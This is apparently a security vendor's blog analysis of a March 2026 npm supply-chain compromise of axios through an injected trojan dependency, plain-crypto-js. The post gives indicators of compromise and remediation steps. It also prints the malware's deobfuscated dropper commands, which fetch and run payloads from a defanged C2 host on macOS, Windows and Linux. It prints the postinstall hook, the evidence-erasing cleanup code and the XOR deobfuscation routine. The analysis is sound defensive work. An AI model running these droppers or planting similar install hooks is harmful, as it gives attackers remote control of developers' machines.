axios Compromised: npm Supply Chain Attack via Dependency Injection
Table of Contents
TL;DR
Note: This is a developing incident. We are actively analysing the breach and will update this post as new information becomes available.
Two compromised versions of axios were published to npm on March 31, 2026: 1.14.1 and 0.30.4, covering both the current 1.x and legacy 0.x branches. Both were published through what appears to be a compromised maintainer account. The attacker made a single change to package.json in each: injecting plain-crypto-js as a new dependency. That package, published less than 24 hours prior, contains an obfuscated postinstall payload that contacts a C2 server and downloads platform-specific second-stage payloads for macOS, Windows, and Linux. No axios source files were modified. The attack bypassed the project’s CI/CD pipeline and SLSA provenance attestations entirely.
Impact:
- Projects with
axios@^1.14.0oraxios@^0.30.0auto-upgrade to the compromised versions on install - The payload executes automatically via
postinstallwith no user interaction required - A second-stage payload is fetched from
hxxp://sfrclak[.]com:8000/ - Windows, macOS, and Linux systems are all targeted with platform-specific payloads
Indicators of Compromise (IoC):
[email protected](SHA256:5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd)[email protected](SHA256:59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f)[email protected],[email protected](npm)- C2:
hxxp://sfrclak[.]com:8000/(resolves to142.11.206.73) - C2 server: Express.js, responds only to POST requests (GET returns 500)
- Publisher email:
ifstap@proton[.]me(compromised account) - Publisher email:
nrwise@proton[.]me(trojan package) - macOS: native binary at
/Library/Caches/com.apple.act.mond(disguised as Apple system daemon) - Windows: copied PowerShell binary at
%PROGRAMDATA%\wt.exe - Linux/default: second-stage Python RAT at
/tmp/ld.py, stage-3 binaries at/tmp/.<random>(dot-prefixed, hidden) - Second-stage payload SHA256 (Linux):
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf - C2 POST body contains
packages.npm.org/product{0,1,2}(platform identifier: 0=macOS, 1=Windows, 2=Linux) - File
6202033in$TMPDIR(all platforms) setup.jsSHA256:e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09- Windows: temporary dropper files
%TEMP%\6202033.vbsand%TEMP%\6202033.ps1 - RAT User-Agent:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) - RAT beacon interval: HTTP POST every 60 seconds to C2
- Process indicators:
osascriptfrom$TMPDIR(macOS),cscriptrunning.vbsfrom%TEMP%(Windows),python3 /tmp/ld.pyin background (Linux)
Search your filesystem for the trojan script:
find / -type f -name "setup.js" -exec shasum -a 256 {} \; 2>/dev/null \ | grep e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09Analysis
No GitHub Tag, No Provenance, Wrong Publisher
The first signal: there is no v1.14.1 tag on the axios GitHub repository. The latest tag is v1.14.0, published March 27, 2026. This version appeared on npm without any corresponding source code commit. Anyone can verify this:
# No v1.14.1 tag existsgh api repos/axios/axios/git/refs/tags/v1.14.1# Returns 404
# v1.14.0 tag existsgh api repos/axios/axios/git/refs/tags/v1.14.0# Returns valid ref objectThe publisher metadata confirms the anomaly. Querying the npm registry for both versions shows the shift from automated CI to manual publish:
# Compare publisher between versionscurl -s https://registry.npmjs.org/axios/1.14.0 | jq '._npmUser'curl -s https://registry.npmjs.org/axios/1.14.1 | jq '._npmUser'// [email protected] _npmUser{ "name": "GitHub Actions", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9" }}// [email protected] _npmUser{ "name": "jasonsaayman",}The real jasonsaayman account historically uses [email protected]. The switch to a Proton Mail address, combined with the manual publish that bypasses CI/CD, points to account takeover.
SLSA provenance attestations present in 1.14.0 are completely absent from 1.14.1:
# Check provenance attestationscurl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dist.attestations'curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dist.attestations'{ "provenance": { "predicateType": "https://slsa.dev/provenance/v1" }}
nullThe Single Diff
Comparing the dependencies between versions shows the injected package:
# Compare dependenciescurl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dependencies'curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dependencies'Extracting and diffing the tarballs confirms only package.json differs. No JavaScript source file was touched. The diff:
"version": "1.14.0", "version": "1.14.1",
// dependencies "proxy-from-env": "^2.1.0" "proxy-from-env": "^2.1.0", "plain-crypto-js": "^4.2.1"
// scripts "fix": "eslint --fix lib/**/*.js", "prepare": "husky" "fix": "eslint --fix lib/**/*.js"Two changes: a new dependency added, and the prepare script (which runs Husky git hooks) removed.
The attacker also published [email protected] approximately 40 minutes later, targeting the legacy 0.x branch with the same injection. Projects pinned to ^0.30.0 are equally affected. The 0.30.3 release was the last legitimate version on that branch, published by [email protected] (the real email).
plain-crypto-js: The Trojan
plain-crypto-js was first published on March 30, 2026, less than 24 hours before the axios compromise. Two versions exist: 4.2.0 and 4.2.1.
// plain-crypto-js package.json{ "name": "plain-crypto-js", "description": "JavaScript library of crypto standards.", "author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" }, "repository": { "url": "http://github.com/brix/crypto-js.git" }, "scripts": { "postinstall": "node setup.js" }}The package squats on the well known crypto-js library. The author and repository fields point to the legitimate crypto-js project to steal credibility. The actual maintainer is nrwise <[email protected]>, a throwaway Proton Mail account with no other packages on npm.
Diffing [email protected] against the legitimate [email protected] confirms this is a near-verbatim copy with two files added by the attacker:
| File | Status |
|---|---|
setup.js | Added. The obfuscated payload (4,209 bytes, single line). |
package.md | Added. A clean package.json without the postinstall hook, swapped in after execution to erase evidence. |
package.json | Modified. Added "postinstall": "node setup.js", changed name/version. |
| All other ~40 files | Identical to [email protected]. Pure camouflage. |
To verify, run:
curl -sL https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz | tar xz -C /tmp/malcurl -sL https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz | tar xz -C /tmp/legitdiff -rq /tmp/mal/package /tmp/legit/packagePayload: setup.js
The entire payload is a single minified line. It uses a custom two-layer deobfuscation scheme: base64 with reversed characters and underscore substitution, followed by a per-character XOR cipher with a rotating key derived from the string OrDeR_7077.
Static deobfuscation of the string table reveals:
| Index | Decoded Value | Purpose |
|---|---|---|
stq[0] | child_process | Module import |
stq[1] | os | Module import |
stq[2] | fs | Module import |
stq[3] | http://sfrclak.com:8000/ | C2 base URL |
stq[5] | win32 | OS detection |
stq[6] | darwin | OS detection |
stq[7] | AppleScript dropper template | macOS payload (downloads to /Library/Caches/com.apple.act.mond) |
stq[8] | cscript "LOCAL_PATH" //nologo && del... | Windows execution |
stq[9] | VBScript dropper template | Windows payload (curl + renamed PowerShell) |
stq[10] | nohup osascript "LOCAL_PATH" > /dev/null 2>&1 & | macOS execution |
stq[12] | curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ... | Linux execution |
stq[15] | .exe | Windows persistence suffix |
stq[16] | .ps1 | PowerShell script extension |
stq[17] | .vbs | VBScript extension |
The _entry function (called with argument "6202033") constructs the full C2 URL as hxxp://sfrclak[.]com:8000/6202033, then branches by OS:
Each platform gets a tailored dropper. The C2 uses packages.npm.org/product{0,1,2} as the POST body to differentiate platform requests.
macOS (darwin):
- Writes an AppleScript to
$TMPDIR/6202033that:- POSTs to C2 with body
packages.npm.org/product0 - Saves the response to
/Library/Caches/com.apple.act.mond(disguised as an Apple system daemon) chmod 770and executes via/bin/zshin background, passing C2 URL as argument- Self-deletes the AppleScript
- POSTs to C2 with body
- Executes with
nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 &
The AppleScript effectively runs:
# macOS: download native binary, make executable, run in backgroundcurl -o /Library/Caches/com.apple.act.mond \ -d packages.npm.org/product0 \ -s hxxp://sfrclak[.]com:8000/6202033 \ && chmod 770 /Library/Caches/com.apple.act.mond \ && /bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &"rm -rf $TMPDIR/6202033Windows (win32):
- Locates PowerShell via
where powershell - Copies the PowerShell binary to
%PROGRAMDATA%\wt.exe(disguised as Windows Terminal) - Writes a VBScript to
%TEMP%\6202033.vbsthat chains viacmd.exe:
REM Windows: download .ps1, execute hidden, clean upcmd.exe /c curl -s -X POST -d "packages.npm.org/product1" ^ "hxxp://sfrclak[.]com:8000/6202033" > "%TEMP%\6202033.ps1" ^ & "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%TEMP%\6202033.ps1" ^ "hxxp://sfrclak[.]com:8000/6202033" ^ & del "%TEMP%\6202033.ps1" /f- Runs via
cscript "%TEMP%\6202033.vbs" //nologo, then deletes the.vbs
Linux (default fallback):
POSTs to C2 with body packages.npm.org/product2, saves the response as /tmp/ld.py, and runs it:
# Linux: download Python RAT, run in backgroundcurl -o /tmp/ld.py -d packages.npm.org/product2 \ -s hxxp://sfrclak[.]com:8000/6202033 \ && nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 \ > /dev/null 2>&1 &After execution, the payload self-deletes setup.js and renames package.md to package.json, removing the postinstall hook from the installed package to cover its tracks:
// setup.js (deobfuscated cleanup logic)const K = __filename;t.unlink(K, (x) => {}); // delete setup.jst.unlink('package.json', (x) => {}); // delete current package.json (with postinstall)t.rename('package.md', 'package.json', (x) => {}); // replace with clean versionSecond Stage: Python RAT
The C2 at 142.11.206.73:8000 (running Express.js) serves payloads in response to POST requests. GET requests return a 500 error. We successfully retrieved the Linux second stage by POSTing with body packages.npm.org/product2. The macOS (product0) and Windows (product1) payloads were not retrieved before the C2 went offline. From the first-stage code, the macOS payload is expected to be a native binary (chmod 770, executed directly) and the Windows payload a PowerShell script (.ps1, run with -ep bypass).
The Linux second stage (ld.py, SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf) is an unobfuscated Python RAT with no persistence mechanism (runs only until reboot). It supports four command types:
| Command | Function |
|---|---|
kill | Terminates the RAT process |
peinject | Binary dropper: base64-decodes payload, writes to /tmp/.<random> (dot-prefixed hidden file), chmod 0o777, and executes via Popen. Has a bug on line 156: references undefined b64_string instead of the ijtbin parameter, suggesting code was copied from another version. |
runscript | Two modes: if Script field is empty, runs Param as shell command (shell=True). If Script is provided, base64-decodes it and runs as python3 -c <code>. Output captured and returned to C2. |
rundir | Enumerates directory contents (file names, sizes, timestamps) |
On first contact, the RAT sends a FirstInfo beacon containing a directory listing of $HOME, $HOME/.config, $HOME/Documents, and $HOME/Desktop. It then enters a 60-second polling loop, sending BaseInfo beacons with:
- Hostname, username, OS, architecture
- System manufacturer and product name (from
/sys/class/dmi/id/) - Full process list with PIDs, parent PIDs, usernames, and command lines
- Boot time, install time, timezone
Each beacon response can contain a command for the RAT to execute. Results are base64-encoded and POSTed back. The User-Agent string in all C2 communication is hardcoded:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)The peinject handler (named after Windows PE injection, though this is the Linux variant) is the mechanism for deploying stage-3 payloads: the C2 operator can push any binary at any time. It has a bug on line 156 where it references an undefined b64_string instead of the ijtbin parameter, suggesting the code was copied from another version. Regardless, runscript with shell=True already provides equivalent capability.
The RAT has no persistence mechanism. It runs only until reboot, suggesting the operator either deploys persistence via runscript/peinject after initial access, or the campaign is focused on quick data exfiltration.
Deobfuscation Walkthrough: setup.js in plain-crypto-js
The _trans_2 function reverses the input string, swaps underscores for = padding, then base64-decodes. The result is passed through _trans_1, which XORs each character against a rotating key derived from the position index:
// _trans_1: XOR cipher with position-dependent keyconst E = 'OrDeR_7077'.split('').map(Number);// E = [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7]return x.split('').map((char, pos) => { const code = char.charCodeAt(0); const key = E[(7 * pos * pos) % 10]; // quadratic index into key return String.fromCharCode(code ^ key ^ 333);});The quadratic index 7 * pos * pos % 10 makes the key rotation non-linear, complicating naive pattern analysis. The constant 333 (0x14D) adds a fixed XOR layer.
Attack Summary
This is a dependency injection attack against the highest-traffic package in the npm ecosystem:
- Attacker gains access to the
jasonsaaymannpm account (likely credential theft or session hijack). The account email at time of publish is[email protected], different from the[email protected]seen on prior legitimate releases - Pre-stages
plain-crypto-jsfrom a separate throwaway account ([email protected]) - Publishes
[email protected]manually, bypassing GitHub Actions CI/CD and SLSA provenance - The only modification: inject
plain-crypto-jsintodependenciesand remove thepreparescript - Repeats the injection on
[email protected](~40 minutes later) to cover the legacy 0.x branch
The attack is notable for its restraint. No axios source files were modified, making traditional diff-based code review less likely to catch it. The malicious behavior lives entirely in a transitive dependency, triggered automatically by npm’s postinstall lifecycle.
With approximately 100 million weekly downloads, any project using a caret range (^1.14.0) would pull in 1.14.1 on the next npm install.
Recommended Actions
- Pin
axiosto1.14.0(or0.30.3for 0.x branch) or earlier in your lockfile - Audit systems that ran
npm installafter March 31, 2026 00:21 UTC for persistence artifacts - Check for:
$TMPDIR/6202033(all platforms),%PROGRAMDATA%\wt.exe(Windows),/tmp/ld.py(Linux) - Rotate credentials on any system where axios 1.14.1 was installed
Conclusion
The provenance signals told the whole story before any code analysis was needed: no GitHub tag, no SLSA attestation, publisher email changed, manual publish bypassing CI/CD.
References
- npm
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Compromised telnyx on PyPI: WAV Steganography and Credential Theft
Analysis of malicious telnyx 4.87.1 and 4.87.2 on PyPI — a package with over 1 million monthly downloads: injected code uses WAV audio steganography to deliver payloads that steal credentials and...

sl4x0 Dependency Confusion: 92 Packages Target Fortune 500
A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data...

Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor
Analysis of compromised litellm 1.82.8 on PyPI: a .pth file triggers credential theft, AWS/K8s secret exfiltration, and persistent C2 backdoor on install.

Trivy Supply Chain Compromise: What Happened, What Was Stolen, and How to Respond
A consolidated technical reference for the TeamPCP supply chain attack against Aqua Security's Trivy scanner. Covers the full attack chain from AI-assisted initial breach through credential theft,...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
